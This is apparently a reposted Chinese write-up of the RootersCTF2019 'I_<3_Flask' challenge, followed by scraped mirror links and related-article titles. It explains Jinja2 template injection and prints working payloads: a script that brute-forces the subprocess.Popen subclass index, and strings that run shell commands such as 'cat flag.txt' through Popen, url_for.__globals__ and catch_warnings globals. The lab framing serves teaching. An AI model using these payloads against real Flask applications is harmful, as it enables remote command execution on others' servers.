当前位置: 首页 > news >正文

[RootersCTF2019]I_<3_Flask

从源码中可以看到GET传参name是模板注入点。
{{config}} 查看配置信息,没什么有用的。
{{‘’.__class__.__mro[1]__.__subclasses__()}} 得到所有子类
搜索有没有可利用的类,如file、subprocess.Popen,发现有第二个类,可以用来执行命令。
首先得知道该类的下标是多少,采用脚本爆破:

import requests
from time import sleep
url = 'http://62725703-5aa8-4d87-9e93-33566fd87c41.node5.buuoj.cn:81/'for i in range(1, 500):print(i)param = {"name": f"name={{{{''.__class__.__mro__[1].__subclasses__()[{i}]}}}}"}sleep(0.2)r = requests.get(url, params=param)if "subprocess.Popen" in r.text:print(f"结果是:{i}")exit(0)

结果是222
构造payload:
{{‘’.__class__.__mro__[1].__subclasses__()[222](‘ls’,shell=True,stdout=-1).communicate()[0].decode()}}
结果表明当前目录下存在flag.txt文件
{{‘’.__class__.__mro__[1].__subclasses__()[222](‘cat%20flag.txt’,shell=True,stdout=-1).communicate()[0].decode()}}
成功拿到flag。

假如没有子类可直接利用呢?
试试看用url_for.__globals__能不能行,发现可行。
payload:
url_for.__globals__[‘__builtins__’][‘eval’](“__import__(‘os’).popen(‘ls’).read()”)
也是可以的。

再进一步,假如这些函数也不能利用呢?
在查看子类的时候能看到有warnings.catch_warnings类,那就可以利用该类的init方法间接获得globals。
通过link这篇文章得到一个启发,可以不需要用脚本也能得到目标子类的下标:
将网页响应渲染出来的所有子类复制到Notepad++中
在这里插入图片描述
然后将所有逗号替换成换行符,记得勾选左下角的扩展。
在这里插入图片描述
这样就能根据代码行索引得到目标类的下标啦。在第182个
构造payload:
‘’.__class__.__mro__[1].__subclasses__()[182].__init__.__globals__[‘__builtins__’][‘eval’](“__import__(‘os’).popen(‘ls’).read()”)
也成功了。

总结一下:这道题是很基础的flask,没有任何过滤。相当于是 模板注入总结 的一道完美例题了。


文章转载自:

http://yX0aYN6E.rgLzy.cn
http://XVY4FKL6.rgLzy.cn
http://LWPDCyFu.rgLzy.cn
http://U6lKifUn.rgLzy.cn
http://8eCg3Ihj.rgLzy.cn
http://DoUO6jIp.rgLzy.cn
http://4jSm1unL.rgLzy.cn
http://FmAW7qUZ.rgLzy.cn
http://5hVumMlS.rgLzy.cn
http://RlCHAVkO.rgLzy.cn
http://Mo93sio3.rgLzy.cn
http://HfApXsPj.rgLzy.cn
http://N1rAOVPs.rgLzy.cn
http://IIXuVQle.rgLzy.cn
http://qpl8tt3v.rgLzy.cn
http://sskxsQT7.rgLzy.cn
http://KKlUKZEZ.rgLzy.cn
http://1v3UVLMZ.rgLzy.cn
http://krFbWNAS.rgLzy.cn
http://VK7ntVp9.rgLzy.cn
http://P1dzQaEn.rgLzy.cn
http://OyL8It3O.rgLzy.cn
http://4Z05vkn4.rgLzy.cn
http://i2R3WSBf.rgLzy.cn
http://AjQNPrVo.rgLzy.cn
http://tlmWOrtl.rgLzy.cn
http://4nHFPIl0.rgLzy.cn
http://pPaVRBBT.rgLzy.cn
http://Tr4ModRl.rgLzy.cn
http://pv0hBl43.rgLzy.cn
http://www.dtcms.com/a/372256.html

相关文章:

  • 多功能台灯设计与实现(论文+源码)
  • SpringBoot+RustFS实现高效文件存储解决方案
  • Docker04-镜像源切换
  • Python 2025:量化金融与智能交易的新纪元
  • 基于 WeKnora 构建企业级 RAG 知识库:Windows 部署与实践全解析
  • 【Android】View 的基础知识
  • FastDFS V6双IP特性及配置
  • Spring Boot常用注解-详细解析+示例
  • 使用 Doxygen 生成 C++ 与 Python 项目文档
  • 【面试题】Transformer基础原理与数学模型
  • 插入排序与希尔排序
  • LLM面试基础(一)
  • More Effective C++ 条款33:将非尾端类设计为抽象类
  • 《详解链式队列:原理、操作与销毁方法》
  • Linux 系统资源监控与告警脚本
  • 记录jilu~
  • 现代云原生数据平台
  • 【Python脚本系列】PyCryptodome库解决网盘内.m3u8视频文件无法播放的问题(三)
  • DuckDB 1.4新增功能提前知道
  • Wi-Fi技术——传播与损耗
  • 管道的优缺点
  • 训练+评估流程
  • 【数学建模】烟幕干扰弹投放策略优化:模型与算法整合框架
  • PHP云课堂在线网课系统 多功能网校系统 在线教育系统源码
  • redis的高可用(哨兵)
  • Redis之分布式锁与缓存设计
  • pip常用指令小结
  • Python中进行时区转换和处理
  • CTFshow系列——PHP特性Web97-100
  • Python快速入门专业版(九):字符串进阶:常用方法(查找、替换、分割、大小写转换)